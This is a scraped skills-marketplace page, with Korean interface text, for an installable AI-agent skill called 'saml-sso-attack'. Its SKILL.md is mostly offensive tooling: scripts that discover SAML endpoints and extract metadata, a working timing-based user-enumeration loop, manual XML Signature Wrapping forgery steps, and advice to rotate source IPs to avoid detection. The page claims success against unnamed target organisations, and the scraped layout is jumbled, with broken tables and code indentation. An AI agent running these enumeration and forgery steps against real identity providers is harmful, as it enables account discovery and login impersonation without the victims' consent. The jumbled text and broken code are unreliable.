소스 정보
- 저장소
- uphiago/recon-skills
- 최근 소스 활동
- 2026년 7월 30일 00:23
- 감지된 SKILL.md 언어
- 영어
- 스타
- 1,158
- 포크
- 205
설치 방법
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
소스 파일 검토
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
메뉴
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
SOC 직업 분류 기준
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/uphiago/recon-skills --skill saml-sso-attack명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
SKILL.md 표시 중
Full WSTG-aligned web application pentest — 12-phase methodology from information gathering through reporting, with concrete commands, expected outputs, pitfalls, and verification per phase.
Use when two or more verified findings may combine into a higher-impact authorized attack path.
Use when verified WordPress findings may combine into an authorized path to administrative or server control.
| name | saml-sso-attack |
| description | Attack SAML SSO via XSW, signature strip, metadata extract. |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, python3, bash |
| tags | ["auth","SAML","SSO","XML-signature","identity"] |
| category | auth |
| related_skills | ["jwt-attack","exchange-owa-attack","api-noauth-hunt"] |
SAML Single Sign-On attack methodology — IdP metadata analysis, XML Signature Wrapping (XSW), signature stripping, comment injection in NameID, and SSO timing-based user enumeration. Confirmed on TARGET_ORG_A (SimpleSAMLphp IdP, 79 XMLRPC methods on WordPress SP), TARGET_ORG_B (Ory Kratos + OIDC), and TARGET_ORG_C (ADFS WS-Trust exposed).
idp., sso., login., auth. subdomains).SAMLRequest= or SAMLResponse= parameter./saml2/idp/metadata.php or /FederationMetadata/2007-06/FederationMetadata.xml.exchange-owa-attack discovers ADFS.# Discover SAML IdP metadata
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/saml2/idp/metadata.php" | python3 -c "
import sys, base64, zlib
from xml.etree import ElementTree as ET
content = sys.stdin.read()
if 'EntityDescriptor' in content:
root = ET.fromstring(content)
for el in root.iter():
if 'entityID' in el.attrib:
print(f'entityID: {el.attrib[\"entityID\"]}')
"
# Decode SAMLRequest from URL
echo "SAMLREQUEST_BASE64" | python3 -c "
import sys, base64, zlib
raw = base64.b64decode(sys.stdin.read().strip())
decompressed = zlib.decompress(raw, -15)
print(decompressed.decode())
"
| Attack | Prerequisites | Impact |
|---|---|---|
| XML Signature Wrapping (XSW) | Valid signed assertion from any user | Impersonate any user |
| Signature stripping | Server doesn't validate signature presence | Full identity forgery |
| Comment injection in NameID | NameID format allows comments | User impersonation |
| SAML Response replay |
No InResponseTo validation |
| Session hijacking |
| Key confusion | Multiple signing certs in metadata | Sign assertions with different key |
| Audience restriction bypass | No Audience validation | Cross-SP token reuse |
| Metadata extraction | Public IdP metadata | Discover certs, endpoints, bindings |
| Golden SAML (post-exploit) | Stolen ADFS token-signing cert | Forge tokens, impersonate any user |
TARGET="$1"
echo "[*] SAML endpoint discovery on $TARGET"
# Common SAML paths
declare -A SAML_PATHS
SAML_PATHS["/saml2/idp/metadata.php"]="SimpleSAMLphp IdP"
SAML_PATHS["/saml2/sp/metadata.php"]="SimpleSAMLphp SP"
SAML_PATHS["/FederationMetadata/2007-06/FederationMetadata.xml"]="ADFS"
SAML_PATHS["/adfs/ls/IdpInitiatedSignOn.aspx"]="ADFS Login"
SAML_PATHS["/adfs/services/trust"]="ADFS WS-Trust"
SAML_PATHS["/auth/realms/master/protocol/saml"]="Keycloak SAML"
SAML_PATHS["/.well-known/openid-configuration"]="OIDC"
SAML_PATHS["/sso/saml"]="Generic SAML"
SAML_PATHS["/idp/shibboleth"]="Shibboleth"
SAML_PATHS["/simplesamlphp"]="SimpleSAMLphp root"
for path in "${!SAML_PATHS[@]}"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET$path")
[[ "$code" == "200" || "$code" == "302" ]] && echo " [FOUND] $path — ${SAML_PATHS[$path]} (HTTP $code)"
sleep 1
done
METADATA_URL="$1" # e.g., https://idp.target.com/saml2/idp/metadata.php
echo "[*] Extracting SAML metadata from $METADATA_URL"
METADATA=$(curl -sk --max-time 10 --connect-timeout 10 "$METADATA_URL" 2>/dev/null)
if [[ -z "$METADATA" ]]; then
echo "[-] No metadata accessible"
exit 1
fi
# Parse with Python
echo "$METADATA" | python3 -c "
import sys
from xml.etree import ElementTree as ET
content = sys.stdin.read()
root = ET.fromstring(content)
# Namespaces
ns = {'md': 'urn:oasis:names:tc:SAML:2.0:metadata',
'ds': 'http://www.w3.org/2000/09/xmldsig#'}
# Entity ID
entity_id = root.get('entityID', 'unknown')
print(f'Entity ID: {entity_id}')
# Signing certificates
for cert_el in root.iter('{http://www.w3.org/2000/09/xmldsig#}X509Certificate'):
cert = cert_el.text.strip()
print(f'Signing Cert ({len(cert)} chars): {cert[:60]}...')
# SSO endpoints
for el in root.iter():
if 'Binding' in el.attrib:
binding = el.attrib['Binding']
location = el.attrib.get('Location', '')
if 'HTTP-Redirect' in binding or 'HTTP-POST' in binding:
print(f'Endpoint: {location} [{binding.split(\":\")[-1]}]')
# NameID formats
for el in root.iter('{urn:oasis:names:tc:SAML:2.0:metadata}NameIDFormat'):
print(f'NameID Format: {el.text}')
" 2>/dev/null
SAML_B64="$1" # from URL parameter or Burp
echo "[*] Decoding SAMLRequest"
echo "$SAML_B64" | python3 -c "
import sys, base64, zlib
from xml.etree import ElementTree as ET
raw = sys.stdin.read().strip()
decoded = base64.b64decode(raw)
try:
decompressed = zlib.decompress(decoded, -15)
except:
decompressed = decoded
xml = decompressed.decode('utf-8', errors='replace')
print(xml[:3000])
root = ET.fromstring(xml)
print()
print('=== Analysis ===')
# Request ID
req_id = root.get('ID', 'none')
print(f'Request ID: {req_id}')
# Issuer
issuer_el = root.find('.//{urn:oasis:names:tc:SAML:2.0:assertion}Issuer')
if issuer_el is not None:
print(f'Issuer: {issuer_el.text}')
# ForceAuthn
force = root.get('ForceAuthn', 'false')
print(f'ForceAuthn: {force}')
# NameIDPolicy
policy_el = root.find('.//{urn:oasis:names:tc:SAML:2.0:protocol}NameIDPolicy')
if policy_el is not None:
allow_create = policy_el.get('AllowCreate', 'false')
fmt = policy_el.get('Format', 'unspecified')
print(f'NameIDPolicy: AllowCreate={allow_create}, Format={fmt}')
" 2>/dev/null
TARGET="$1" # SSO login endpoint
USERS_FILE="$2" # List of usernames/emails to test
echo "[*] SSO timing-based user enumeration"
# The technique: valid users produce a different response time than invalid users
# because the server checks LDAP/AD before returning the SAML response
while read -r user; do
START=$(date +%s%N)
curl -sk -o /dev/null --max-time 15 --connect-timeout 10 \
"https://$TARGET/sso/login?username=$user&password=WRONG_PASS" 2>/dev/null
END=$(date +%s%N)
ELAPSED=$(( (END - START) / 1000000 ))
echo " $user: ${ELAPSED}ms"
sleep 1
done < "$USERS_FILE" | sort -t: -k2 -rn | head -20
echo "[*] Users with significantly higher response times likely exist"
TARGET="$1"
echo "[*] XSW vulnerability analysis"
# Check if IdP signs only the Assertion (good) or the entire Response (better)
# If only the Assertion is signed, XSW is possible:
# 1. Capture a valid SAML Response with signed Assertion
# 2. Create a new Response containing the original signed Assertion + a forged Assertion
# 3. If the SP validates the forged Assertion instead of the signed one → impersonation
echo "[*] Manual XSW test steps:"
echo " 1. Capture SAML Response from browser (Burp/DevTools)"
echo " 2. Decode SAMLResponse (base64 + inflate)"
echo " 3. Check: is Signature on Response or Assertion level?"
echo " 4. If Assertion-level: wrap original Assertion + forged Assertion in new Response"
echo " 5. Submit forged SAMLResponse to SP ACS endpoint"
echo " 6. If SP accepts → XSW confirmed"
sleep between requests (≥1s) and use a pool of source IPs for production engagements.| CVE | Affected | Impact | Year |
|---|---|---|---|
| CVE-2025-25291 | ruby-saml ≤ 1.17.0 | Auth bypass via XSW / signature confusion | 2025 |
| CVE-2025-25292 | ruby-saml ≤ 1.17.0 | Auth bypass via parser differential | 2025 |
| CVE-2024-45428 | GitLab (ruby-saml) | SAML auth bypass — full account takeover | 2024 |
| CVE-2024-45409 | ruby-saml ≤ 1.16.0 | Signature wrapping (XSW) auth bypass | 2024 |
| CVE-2023-2813 | GitLab CE/EE | SAML group claim misvalidation | 2023 |
After gaining access to an ADFS server or extracting the token-signing certificate: